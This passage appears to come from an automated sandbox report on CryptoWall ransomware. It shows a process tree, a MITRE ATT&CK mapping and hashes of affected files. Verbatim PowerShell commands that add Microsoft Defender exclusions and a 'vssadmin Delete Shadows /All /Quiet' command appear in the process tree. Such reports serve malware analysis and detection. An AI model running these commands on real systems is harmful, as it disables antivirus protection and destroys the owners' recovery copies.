C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '9.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:6128

C:\Users\Admin\AppData\Local\Temp\8.exe
"C:\Users\Admin\AppData\Local\Temp\8.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\8.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '8.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:4192

C:\Users\Admin\AppData\Local\Temp\7.exe
"C:\Users\Admin\AppData\Local\Temp\7.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '7.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5484

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:4896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:3588

C:\Users\Admin\AppData\Local\Temp\6.exe
"C:\Users\Admin\AppData\Local\Temp\6.exe"
3⤵
- Drops startup file
- Executes dropped EXE
PID:2612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\6.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '6.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:6676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:4276

C:\Users\Admin\AppData\Local\Temp\5.exe
"C:\Users\Admin\AppData\Local\Temp\5.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '5.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4564

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:7580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:4100

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
3⤵
- Drops startup file
- Executes dropped EXE
PID:2632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\4.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '4.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7188

C:\Users\Admin\AppData\Local\Temp\3.exe
"C:\Users\Admin\AppData\Local\Temp\3.exe"
3⤵
- Drops startup file
- Executes dropped EXE
PID:224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\3.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1844

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:6456

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:2120

C:\Users\Admin\AppData\Local\Temp\2.exe
"C:\Users\Admin\AppData\Local\Temp\2.exe"
3⤵
- Drops startup file
- Executes dropped EXE
PID:1800

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '2.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5052

C:\Users\Admin\AppData\Local\Temp\1.exe
"C:\Users\Admin\AppData\Local\Temp\1.exe"
3⤵
- Drops startup file
- Executes dropped EXE
PID:2096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6416

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6268

C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe
"C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2332

C:\Windows\syswow64\explorer.exe
"C:\Windows\syswow64\explorer.exe"
3⤵
- Drops startup file
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2660

C:\Windows\syswow64\svchost.exe
-k netsvcs
4⤵
- System Location Discovery: System Language Discovery
PID:1904

C:\Windows\syswow64\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
4⤵
- System Location Discovery: System Language Discovery
- Interacts with shadow copies
PID:1588

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1716

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1001727192-14334343661313572971-13570249651256036919-43635446913141719862138364284"
1⤵
PID:2024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB_EURO.txt
Filesize
27KB

MD5
6f9748d89d8da788db072c6b375b2233

SHA1
74e9d90196f1900d0806ca55c45b1842217bc2f4

SHA256
a1bd64685fb225cd00850c95bd1c8092d73915c96ce909351bb63cb1d95a2d7d

SHA512
77f9e8f911c967824f443631de716ba591bd7f06658b704cc22d836d2f02cea88bf70a27ce6f2a6bc01541cbb70b21cd7f1cb1027c80ee976b8f6845bb5914c4

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GRAPH_F_COL.HXK
Filesize
635B

MD5
c7fadf2ceceb16a18f138147ca33698d

SHA1
c44280a92c77e2163919a91074f06041b3daca48

SHA256
b408f5cf621d4ec8ec8d3c43705367b6902e5c8c7b8a8ac24b23df55c1ec07ce

SHA512
6d1b2d43932fe7c0fc0e31b33a36beb4826f1bc1eb785612f90090afda5b7bbe0841ff1950aa24a533b8ab04139a95d41b38dd0555508d0374a34498730711c8

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GRAPH_K_COL.HXK
Filesize
634B

MD5
61f81384dfefed6c9ca389262fd920b6

SHA1
02abd9941612daa3884c8317b1b3b80dac896add

SHA256
053f595849f1708d50bcc0248c942f068542031eb0c340dc4275d373c53b4a24

SHA512
f93a254399c1cfa1b871ee5b0279788d66abbbcf219eb502c123f91dd17860934a2a942ef6d84ad72aedc3648e6d36deb29cf0ec92c89a1d115049a93b95bc51

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Biscay\TAB_OFF.GIF
Filesize
862B

MD5
098ba66ddd072759dac436eebc544527

SHA1
e17090917e1206cc15063fe99c8d4a2376a22dec

SHA256
710db048670f59caee9e43763e654873a432c645f5b90b6d0a634ffdf50e9091

SHA512
434a9568baa9dfc96d4cd4b3715374acb288034875427cbceac7df9f902438e6e8953a8d3512baf80d1dd6ded1379545a854aff227564f3c360a7713e37ac818

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\Biscay\TAB_ON.GIF
Filesize
743B

MD5
a021294a5889c0fa26e516fa75e08bfe

SHA1
438ad665e34fadc0e321c89b44cd1e0d640befef

SHA256
857d052193120ef2040444d9500a98976e618d6c3747c522aca9197eb1d067b8

SHA512
23053bf25be27cf2d3b6d35ff999e14a163b374ecd129179d8ef39cd399aa51f8db1c16dfdf1e2a761d5f1e1d263f24b0c722d5f3dbd6e87e61f961a4b073a5b

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Style\SIST02.XSL
Filesize
239KB

MD5
8dffabffd4136f6167a1d406e4ca06ed

SHA1
00dac02808afb9c58dcd12efe93f9b38f05347ac

SHA256
a3b007529e561ed15064011314b8908f1f31e73c07b6968b1b080bd5c544cdad

SHA512
bf46928f42088986e112180f6a1869c9a4e3ad694efb3b47eb7fb30975731919ed4f86597c1d9dda4e4c3cc0c4abcc1764c3ab7fbefc0ca2fd77ba1e1a266936

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\BG_ADOBE.GIF
Filesize
24KB

MD5
8edf5226c24ba1d0981f1623923831b0

SHA1
9cbbbc7c5a6b0cfa1db49fb095dfa1dae9f1bafe

SHA256
62b7f9c14d3aff168aaba45aa957d3d89ab3384bcf8559df9749a86b067d8f68

SHA512
cec16b7c55f7913a3c9ad86579f3d75d2df69bb3d7ba90ce4a8aa4dd5f71a564bd8f827f543d77ec6659bcbcd2e1587fcebe9bc05099ad2cd884049a7d7094ef

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\BabyBlue\BUTTON.GIF
Filesize
706B

MD5
03e3efb9ed15ca2bcb16b36904ffb672

SHA1
293cc6042eef9613022ab1f29b3ba4a6dec21be1

SHA256
f8d5b4a870f708a5dbee14c01dd2aebf82f7b4c7ae620b226554024e3919d7da

SHA512
fe6bf9b5ef0011d5238f6be1a2230f22005de749dff012de8b5047f014021d6a876b9b1e8c33f4ddf5ebfedc669df1a23d7386396ad4d3c6e6d673c84982120f

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\TAB_OFF.GIF
Filesize
1017B

MD5
29cf87e81d0caad1f0ca63d609348d09

SHA1
7a459a3ea8f355e7fc02d28d5e1bf52f5c25ff7b

SHA256
0d76293d96e2a72d6e3adc634fae27c666bc880555158016a75b68a1ea26ab45

SHA512
fb68a9bc16b87f4e43645b13ba67b3221a55e4630d83e88d59f4f448b3e2feaf23c7d93728361d56dc9ab2d883ff1cace76f1879d5b45393a5ec128737330ce6

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\Desert\TAB_ON.GIF
Filesize
1KB

MD5
f4ab41dd3b3bdcd7daf54fd1b7046750

SHA1
effcef8d3a2c85849ede9ec8147e05f884662f95

SHA256
14b888567215ff6bced798623d99f458c9fd32b5f68e2dba6af808f3fc901860

SHA512
d0b97f14ccdf8c6c8abc26ebfbb3a85998954eab82b26bdca36d1f257310094a49b5673960c6e05f823262e344140c82a8c6bcaaa140ac1e0a000f54c35798de

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Casual.gif
Filesize
6KB

MD5
1ea174aed9f66ccad0aee0ec1f57eaff

SHA1
c80f71de0f1022ebf2ddb06ef3bd6564246a9257

SHA256
8fa5bbdcf95239259801260073b7fc67654fe79f6685f939dae3da5cc2ad2050

SHA512
afcfb01e90fe9740a6494e2acb8ddc9418886c70e125729f76bdf73e4b09f0baaef7bc9e16b29cfe60478ddd645e2382ac334b3af81a3853d849b1fdb7434a47

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Country.gif
Filesize
31KB

MD5
9c61c3bdf677f6bede8fed5d2a6d9af4

SHA1
363576587e52d9c508e58f6f0a4050b0751d6dc9

SHA256
8e775bcb04dc06f51df472b8abc4f27c09fc5dcea0512b5a3277560e6871338d

SHA512
52241c5d9f37def0092225281bfb636c6619793543bdd57505309055c7deb7e27dad38089500c6c0048321dccf4f985e0200746befc00bcacb2771bb903d47c4

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Earthy.gif
Filesize
5KB

MD5
e06dde2d7e4d130f4137d29879eb1d42

SHA1
620cc6e573184113ef522ffc2d8955738b6976e7

SHA256
50fd3cfc0e506a0a25788e87eea37c32d3c352cac60521abaa3f7cba0d971572

SHA512
6e4094a8efe331f60bda9004e8702d2930c7b7db6787b8d52aa5fccf96fdb92be8fe8d10d4cb25b28e8ce763ba8517ffbeb9170a0bece1e926ff9ffcbeae37a4

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_GreenTea.gif
Filesize
22KB

MD5
eb9c3f41e05a1af6ad4bb20bcdf9ff5d

SHA1
5f49f891d75e7ce900f8850ceb509014d63d7043

SHA256
a55f79b2e6da0514a1f37bf2215c169249dafd88f3519fac6b445a2975537ff0

SHA512
8381c6f61ec1bb8387478516ad91baeb34b66710438037bee355a806c0200a20d1951f8c33c4005faed6ac8c653dcc278b9533ca592be08ebe5195143b7aa2fb

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Groove.gif
Filesize
627B

MD5
a7261ab8929e0c8390cb9d217dda630b

SHA1
eef89e660edf5161d2570b5bc78b3839c8268cd7

SHA256
81dbe9a2c2272a26898e3b5530685bd9107ce48494150417eaf595f7babddf06

SHA512
c0db6dbb2a776db63b34e29e5c83b8ad64faf32390616f6cd28e4d367f452f729bfc62618ac578b45d102fa8236347906e7638a4dfc5f3759c56050323018e7c

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_LightSpirit.gif
Filesize
8KB

MD5
3442eaaad012296a7f3226b34a7ffdcb

SHA1
415c0d9c69f2238db474d234d870282911f15439

SHA256
eae2bd19292139e5825ebd32fe88ed7e6f91d827ab4dba8f54a3ae12d5cab042

SHA512
217abce88c025a0fcd987e2d2faf28d9c9ed61b0cb80fff414bd8ded40800d2487a9ce6ded43dbbae7eea0b5fdfd1a53e9a6334f6fe0d643b2eb780228d6f435

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_OliveGreen.gif
Filesize
15KB

MD5
ff00926944fef4772fbe011dc4837393

SHA1
e11b3cdf277b7e39b168d89397f1444d48560425

SHA256
205e74dc02f9311b0cb8280439dde6621394f6e23136f0dfd781d5bd84c701ed

SHA512
170effb3536bcb0d2f571351e6038b95ebb8c8ccdc630c1dafbccc19da170c49e65062b50e15bade2dee668d7e9065b19f36de9e9e7636c5e062c77cbd2be80b

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_Premium.gif
Filesize
6KB

MD5
d734eb40e73170471ac82168048fb581

SHA1
441a5b521cc0b3ed0f54c8846581b399d5fac676

SHA256
8b96717ba66c4d18dba7d4de843ccb99f887e05a356735a16fe2470d0d5cf898

SHA512
78aa2c2847b4fe89f5884b15aef45661b7082e6363a90a4b8c6cbd92cd0f10230170ec280f98c57ad13ba06149449cbe9f3b9746c1c7bf33958f1b5c374e920e

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_SlateBlue.gif
Filesize
20KB

MD5
ffeabccd29d4f45fd2e5fbe28b3faf9f

SHA1
5978338aede364bd72513538360aa361896d7a86

SHA256
90d3bba5537f33e5de58b41a45c7ee728df864f6e9b4ba955a9c1bb157fcf1bf

SHA512
88a80fa204a6131e8fb2e329d0433574e1ea5f70cf4d1cdbc91f9ef3023d9e4520acb6fdd264ed63ab651123cfe7cb57967466200873b962a92525ffd30ec39c

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_TexturedBlue.gif
Filesize
6KB

MD5
4e4fb9072c4e7ac271550b032c5cfd59

SHA1
b958ef535a0ad045581543b383c02c06a504a54f

SHA256
59d7bf984e56bbc0e4816a3cff41b2093c78ac3d7e3d6e2014d30050f461b55d

SHA512
1dbf366c1acd3645cd435854554a6249399380dca5c8785768ff4749688be76f92c29a9871c997df1e2b1c5c8671ab242a941ced7d2851b6ab7da3a6dbc21b74

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_VelvetRose.gif
Filesize
15KB

MD5
10b604a3879fc5450a01fe800a1ba327

SHA1
bfe76bed520c514e5a0cc7ebdc6557fae7e968bb

SHA256
d1d3d460da2a11a2c47e96fdc500977b224ae1dbd9f804ceb0b6504ab4ff8cd9

SHA512
66a73f5aadd801dfd0e26c463e91d45b486e92556eb6fc39fdc9a79528e0fb4ece09b7c2d58ae2970c4da3f804240edc71f57e4aa0c9cf9f5a7a5f99c3337b27

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\AddToViewArrow.jpg
Filesize
3KB

MD5
e657253cbd74cb75e88e864f8abf7ea5

SHA1
e3f483daef3104e287ff4e74ea36aa4363989b8c

SHA256
ac192144dd7589137d22729a22b57da99f812b331d73965be98fa9d3d521f677

SHA512
f1c41d663ad51a673c123411bb96cda3e57e149d7e1a706cc17f7ef9f1a3e085077fcc23fae35ff60cb92c197ea161e774856cce408124ef925b8d94c11ec8a2

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\AddToViewArrowMask.bmp
Filesize
2KB

MD5
1064f50d6d42cab55d165ca96364fda8

SHA1
48560c1602d169f267436e7a58667508ba87fe29

SHA256
bdf9ac9a8a7df9c700c53c76285b66275a9b50f88dbbd4176eba22fa65f7edae

SHA512
930d374da6391c3d5d481875f72cdd936d893d963cc4882038c50bdb1d8995d1abc12fab2e4f3ca7e19a35dac9271fae8c222496086a0338ea6a8ebb13aeaab3

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FORM.ICO
Filesize
839B

MD5
205402a713acbc72f6c3faf7d9d24462

SHA1
45a722eb1239900886240668430172564b62caad

SHA256
1ce943e6652ebe2e86e36e50357ccc109347fec132fa26452ccc79211befdf03

SHA512
0bcba89d027061cf040c0765c7db808e8145fdac6272fb55bf2508bbf07b3331dcaa2295b6901abb9daac80f07bdce262318c3ebecf89ba8f80038aa6f400871

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormToolImages.jpg
Filesize
7KB

MD5
8925580448e5c2960b024e578902129e

SHA1
aeda2f3e530401a1ec4ac652430a8f8ecdd7356e

SHA256
2136e457fc4785a1a508d532c776c49d988251555ed3dead1029b45deded048f

SHA512
6d71b7b916d8cd7f93eb61b22aca22ff11598be49fdea58a6acf97c9322c07ca6aa0a0e53fe8d79e2df59681a8fc07179576ac6de84557d6d205929cb21c047f

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BabyBlue\HEADER.GIF
Filesize
776B

MD5
af2eaf878b85afb693675e7f86d14fbd

SHA1
d1ce5a3072dd552c2d15fa2060026c36fdbb9d19

SHA256
bb8a846ed95ec461ed0f45b9f68b2aec0dfa2409bafd61552758d7d888a66135

SHA512
31ee76045b62418df02f3dde0e6c23a517a59961bd51eb38390446d3552cb440904c22288b4f72de9c7c9bc59e586f15643ba2fc84fc06b78cd0f11c37a8a403

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BrightOrange\background.gif
Filesize
844B

MD5
ea76e1e023170866c189a9398aa00290

SHA1
e6a85934856b0cfb4274f503730b834255032fea

SHA256
7667882b93cc426b07101cb10f724df517696db0744aa668ed08c026fd42dd37

SHA512
a6ccf939ff5904aec2474b1bf5a0a0bedb811f9d7984c2eef1e05f1d44d87b7a5d8da7b15611f44b5ea0aacfdc4fe68eb39c2cb9a039c2a3e2267694e3ef27fe

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BrightYellow\HEADER.GIF
Filesize
888B

MD5
943435f63602a4fb76d006dcea6b36eb

SHA1
9bfc7204985813ee47e351620ce1a8957653fb6e

SHA256
2fa19788be25cce94ed696d8966e8674c1b37ea5bfa88247b98f5c5bbc47763b

SHA512
7222596fce6a39846b0625a4bf99650c43f44633967d00b380f1561d6e2c3de381fd0f310bf8e834af37502a726f480536a8d3d297e9ef47975c1c9c8fafbca4

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\Desert\HEADER.GIF
Filesize
669B

MD5
86c29d5e55e7a91c4ac6f8ed6aab29b5

SHA1
66bde98eb31008d8438ab15690f27bd05fbe0c39

SHA256
a5c648ad708dac58aba6e5c5e9c7781fadf774f732f603a8f9c4d2a58e0cd6ef

SHA512
666a3c4e4612f96882516617606cb873163b64b44b09dd18401123e10cf32ad25d1b405618f9c39c86174cab7ac924cde75d63345875ff1d97d49306864812ab

Download Submit
